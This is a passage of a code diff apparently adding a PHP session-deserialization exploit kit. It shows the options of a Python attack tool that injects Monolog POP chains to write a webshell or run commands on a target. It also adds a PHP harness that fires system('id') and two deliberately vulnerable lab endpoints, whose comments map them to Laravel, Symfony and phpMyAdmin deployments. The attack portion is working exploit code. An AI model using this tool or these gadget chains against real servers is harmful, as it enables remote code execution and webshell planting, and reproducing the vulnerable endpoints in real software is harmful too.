# Progress mode (no app session injection needed):
|
||||||
|
%(prog)s --mode progress \\
|
||||||
|
--write-url http://target/serialize_ep.php \\
|
||||||
|
--trigger-url http://target/php_ep.php \\
|
||||||
|
--chain-file chain_nofull.bin
|
||||||
|
""")
|
||||||
|
ap.add_argument("--mode", choices=["inject", "progress"], default="inject",
|
||||||
|
help="Injection mode (default: inject)")
|
||||||
|
ap.add_argument("--inject-url",
|
||||||
|
help="URL of endpoint that stores POST data in session "
|
||||||
|
"(must use php_serialize handler)")
|
||||||
|
ap.add_argument("--inject-param", default="data",
|
||||||
|
help="POST parameter stored in $_SESSION (default: data)")
|
||||||
|
ap.add_argument("--write-url",
|
||||||
|
help="URL of php_serialize endpoint (progress mode)")
|
||||||
|
ap.add_argument("--trigger-url", required=True,
|
||||||
|
help="URL of endpoint using default php handler "
|
||||||
|
"(triggers deserialization)")
|
||||||
|
ap.add_argument("--chain", choices=list(CHAINS.keys()),
|
||||||
|
help="Built-in POP chain")
|
||||||
|
ap.add_argument("--chain-file",
|
||||||
|
help="Custom serialized chain file (e.g., phpggc output)")
|
||||||
|
ap.add_argument("--write-path",
|
||||||
|
help="Target file path for monolog-fw chain")
|
||||||
|
ap.add_argument("--shell-code",
|
||||||
|
help="PHP code for webshell (monolog-fw, default: system)")
|
||||||
|
ap.add_argument("--cmd", help="Command for monolog-cmd chain")
|
||||||
|
ap.add_argument("--fields", type=int, default=30000,
|
||||||
|
help="OOM pressure fields for progress mode (default: 30000)")
|
||||||
|
ap.add_argument("--field-size", type=int, default=512,
|
||||||
|
help="Bytes per OOM field (default: 512)")
|
||||||
|
args = ap.parse_args()
|
||||||
|
|
||||||
|
if args.mode == "inject" and not args.inject_url:
|
||||||
|
print("[!] --inject-url required for inject mode")
|
||||||
|
sys.exit(1)
|
||||||
|
if args.mode == "progress" and not args.write_url:
|
||||||
|
print("[!] --write-url required for progress mode")
|
||||||
|
sys.exit(1)
|
||||||
|
if not args.chain and not args.chain_file:
|
||||||
|
print("[!] Specify --chain or --chain-file")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
run(args)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
<?php
|
||||||
|
/**
|
||||||
|
* Direct deserialization test: loads Monolog, unserializes the chain,
|
||||||
|
* lets __destruct fire. Should execute system('id').
|
||||||
|
*/
|
||||||
|
require __DIR__ . '/vendor/autoload.php';
|
||||||
|
|
||||||
|
$payload = base64_decode($argv[1] ?? '');
|
||||||
|
if (!$payload) {
|
||||||
|
fwrite(STDERR, "Usage: php test_chain.php <base64_chain>\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
fwrite(STDERR, "Payload length: " . strlen($payload) . "\n");
|
||||||
|
fwrite(STDERR, "Unserializing...\n");
|
||||||
|
|
||||||
|
$obj = unserialize($payload);
|
||||||
|
|
||||||
|
fwrite(STDERR, "Object type: " . get_class($obj) . "\n");
|
||||||
|
fwrite(STDERR, "Letting __destruct fire (end of script)...\n");
|
||||||
|
|
||||||
|
// __destruct fires here when $obj goes out of scope
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
<?php
|
||||||
|
/**
|
||||||
|
* Test endpoint: php_serialize handler.
|
||||||
|
* Stores POST parameters in $_SESSION.
|
||||||
|
*
|
||||||
|
* In the wild, this maps to any endpoint that:
|
||||||
|
* - Uses ini_set('session.serialize_handler', 'php_serialize')
|
||||||
|
* (Laravel, Symfony, etc.)
|
||||||
|
* - Stores user input in $_SESSION
|
||||||
|
*/
|
||||||
|
ini_set('session.serialize_handler', 'php_serialize');
|
||||||
|
session_start();
|
||||||
|
|
||||||
|
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
|
||||||
|
foreach ($_POST as $k => $v) {
|
||||||
|
$_SESSION[$k] = $v;
|
||||||
|
}
|
||||||
|
echo json_encode(['status' => 'ok', 'session_id' => session_id()]);
|
||||||
|
} else {
|
||||||
|
echo json_encode([
|
||||||
|
'status' => 'ready',
|
||||||
|
'session_id' => session_id(),
|
||||||
|
'handler' => 'php_serialize',
|
||||||
|
]);
|
||||||
|
}
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
<?php
|
||||||
|
/**
|
||||||
|
* Test endpoint: default php handler.
|
||||||
|
* Just calls session_start(). The handler mismatch causes
|
||||||
|
* deserialization of objects injected via the php_serialize endpoint.
|
||||||
|
*
|
||||||
|
* In the wild, this maps to any PHP script on the same host that:
|
||||||
|
* - Does NOT set session.serialize_handler to php_serialize
|
||||||
|
* - Calls session_start()
|
||||||
|
* (phpMyAdmin, legacy scripts, admin panels, etc.)
|
||||||
|
*
|
||||||
|
* Autoloads Monolog so deserialized objects have real classes.
|
||||||
|
*/
|
||||||
|
require __DIR__ . '/vendor/autoload.php';
|
||||||
|
|
||||||
|
session_start();
|
||||||
|
|
||||||
|
echo "OK pid=" . getmypid();
|
||||||
Reference in New Issue
Block a user